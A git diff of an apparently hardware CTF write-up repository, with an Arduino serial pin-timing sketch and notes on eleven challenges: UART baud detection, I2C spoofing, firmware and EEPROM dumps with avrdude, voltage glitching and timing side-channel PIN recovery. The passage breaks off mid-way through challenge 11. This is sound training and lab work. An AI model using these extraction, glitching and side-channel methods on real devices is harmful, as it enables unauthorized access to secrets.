+// ------------------------------------------------------------------
+bool isInput[NUM_PINS];
+bool isOutput[NUM_PINS];
+bool watching[NUM_PINS];
+unsigned long lastChangeTime[NUM_PINS];
+int lastState[NUM_PINS];
+
+// ------------------------------------------------------------------
+// Setup
+// ------------------------------------------------------------------
+void setup() {
+ Serial.begin(115200);
+
+ // Default: all usable pins configured as OUTPUT and LOW
+ for (int i = 0; i < NUM_PINS; i++) {
+ int pin = FIRST_PIN + i;
+ pinMode(pin, OUTPUT);
+ digitalWrite(pin, LOW);
+ isInput[i] = false;
+ isOutput[i] = true;
+ watching[i] = false;
+ lastState[i] = LOW;
+ lastChangeTime[i] = millis();
+ }
+
+ Serial.println("READY");
+}
+
+// ------------------------------------------------------------------
+// Main loop
+// ------------------------------------------------------------------
+void loop() {
+ handleSerial();
+ monitorWatchedPins();
+}
+
+// ------------------------------------------------------------------
+// Serial command processing
+// ------------------------------------------------------------------
+void handleSerial() {
+ static String inputString = "";
+ while (Serial.available()) {
+ char c = Serial.read();
+ if (c == '\n') {
+ inputString.trim();
+ processCommand(inputString);
+ inputString = "";
+ } else {
+ inputString += c;
+ }
+ }
+}
+
+// ------------------------------------------------------------------
+// Command dispatcher
+// ------------------------------------------------------------------
+void processCommand(String cmd) {
+ if (cmd == "GET_VERSION") {
+ Serial.println("VERSION:1.3.0");
+ } else if (cmd == "GET_PINMAP") {
+ handleGetPinmap();
+ } else if (cmd.startsWith("SET_MODE")) {
+ handleSetMode(cmd);
+ } else if (cmd.startsWith("SET_DEFAULT")) {
+ handleSetDefault(cmd);
+ } else if (cmd.startsWith("SET_FOR")) {
+ handleSetFor(cmd);
+ } else if (cmd.startsWith("WATCH")) {
+ handleWatch(cmd);
+ } else if (cmd.startsWith("GET_STATE")) {
+ handleGetState(cmd);
+ } else if (cmd.startsWith("GET_DURATION")) {
+ handleGetDuration(cmd);
+ } else if (cmd.startsWith("WAIT_FOR")) {
+ handleWaitFor(cmd);
+ } else {
+ Serial.println("ERROR:UNKNOWN_COMMAND");
+ }
+}
+
+// ------------------------------------------------------------------
+// Command handlers
+// ------------------------------------------------------------------
+
+// --- SET_MODE:PIN:MODE ------------------------------------------------
+void handleSetMode(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String mode = cmd.substring(second + 1);
+
+ if (pin < FIRST_PIN || pin > LAST_PIN) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+
+ int index = pin - FIRST_PIN;
+ if (mode == "INPUT") {
+ pinMode(pin, INPUT);
+ isInput[index] = true;
+ isOutput[index] = false;
+ } else if (mode == "OUTPUT") {
+ pinMode(pin, OUTPUT);
+ isInput[index] = false;
+ isOutput[index] = true;
+ } else {
+ Serial.println("ERROR:INVALID_MODE");
+ return;
+ }
+
+ Serial.print("ACK:SET_MODE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(mode);
+}
+
+// --- GET_PINMAP -------------------------------------------------------
+void handleGetPinmap() {
+ String response = "PINMAP:INPUT:";
+ bool firstInput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isInput[i]) {
+ if (!firstInput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstInput = false;
+ }
+ }
+ response += ";OUTPUT:";
+ bool firstOutput = true;
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (isOutput[i]) {
+ if (!firstOutput) response += ",";
+ response += String(FIRST_PIN + i);
+ firstOutput = false;
+ }
+ }
+ Serial.println(response);
+}
+
+// --- SET_DEFAULT:PIN:STATE --------------------------------------------
+void handleSetDefault(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1);
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ Serial.print("ACK:SET_DEFAULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state ? "HIGH" : "LOW");
+}
+
+// --- SET_FOR:PIN:STATE:DURATION ---------------------------------------
+void handleSetFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ int third = cmd.indexOf(':', second + 1);
+ if (first == -1 || second == -1 || third == -1) return;
+
+ int pin = cmd.substring(first + 1, second).toInt();
+ String stateStr = cmd.substring(second + 1, third);
+ unsigned long duration = cmd.substring(third + 1).toInt();
+ bool state = (stateStr == "HIGH");
+
+ digitalWrite(pin, state ? HIGH : LOW);
+ delay(duration);
+ digitalWrite(pin, state ? LOW : HIGH);
+
+ Serial.print("ACK:SET_FOR:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(state ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WATCH:PIN ---------------------------------------------------------
+void handleWatch(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS || !isInput[index]) {
+ Serial.println("ERROR:INVALID_PIN");
+ return;
+ }
+ watching[index] = true;
+ Serial.print("ACK:WATCH:");
+ Serial.println(pin);
+}
+
+// --- GET_STATE:PIN -----------------------------------------------------
+void handleGetState(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int state = digitalRead(pin);
+ Serial.print("STATE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(state == HIGH ? "HIGH" : "LOW");
+}
+
+// --- GET_DURATION:PIN --------------------------------------------------
+void handleGetDuration(String cmd) {
+ int first = cmd.indexOf(':');
+ if (first == -1) return;
+ int pin = cmd.substring(first + 1).toInt();
+ int index = pin - FIRST_PIN;
+ if (index < 0 || index >= NUM_PINS) return;
+ unsigned long duration = millis() - lastChangeTime[index];
+ Serial.print("DURATION:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// --- WAIT_FOR:PIN:STATE ------------------------------------------------
+void handleWaitFor(String cmd) {
+ int first = cmd.indexOf(':');
+ int second = cmd.indexOf(':', first + 1);
+ if (first == -1 || second == -1) return;
+ int pin = cmd.substring(first + 1, second).toInt();
+ String targetStateStr = cmd.substring(second + 1);
+ bool targetState = (targetStateStr == "HIGH");
+ unsigned long startTime = millis();
+ while (digitalRead(pin) != targetState) {
+ delay(1);
+ }
+ unsigned long duration = millis() - startTime;
+ Serial.print("WAIT_RESULT:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(targetState ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+}
+
+// ------------------------------------------------------------------
+// Watch monitoring
+// ------------------------------------------------------------------
+void monitorWatchedPins() {
+ for (int i = 0; i < NUM_PINS; i++) {
+ if (watching[i] && isInput[i]) {
+ int pin = FIRST_PIN + i;
+ int currentState = digitalRead(pin);
+ if (currentState != lastState[i]) {
+ unsigned long now = millis();
+ unsigned long duration = now - lastChangeTime[i];
+ lastChangeTime[i] = now;
+ lastState[i] = currentState;
+ Serial.print("CHANGE:");
+ Serial.print(pin);
+ Serial.print(":");
+ Serial.print(currentState == HIGH ? "HIGH" : "LOW");
+ Serial.print(":");
+ Serial.println(duration);
+ }
+ }
+ }
+}
diff --git a/docs/09_header_pins.png b/docs/09_header_pins.png
new file mode 100644
index 0000000..6b970b5
--- /dev/null
+++ b/docs/09_header_pins.png
Binary files differ
diff --git a/docs/09_logic_01.png b/docs/09_logic_01.png
new file mode 100644
index 0000000..ee2983b
--- /dev/null
+++ b/docs/09_logic_01.png
Binary files differ
diff --git a/docs/09_logic_02.png b/docs/09_logic_02.png
new file mode 100644
index 0000000..ea925d4
--- /dev/null
+++ b/docs/09_logic_02.png
Binary files differ
diff --git a/docs/09_logic_03.png b/docs/09_logic_03.png
new file mode 100644
index 0000000..4270c11
--- /dev/null
+++ b/docs/09_logic_03.png
Binary files differ
diff --git a/docs/09_result.png b/docs/09_result.png
new file mode 100644
index 0000000..69d6d2f
--- /dev/null
+++ b/docs/09_result.png
Binary files differ
diff --git a/docs/09_setup.png b/docs/09_setup.png
new file mode 100644
index 0000000..b73fbf5
--- /dev/null
+++ b/docs/09_setup.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
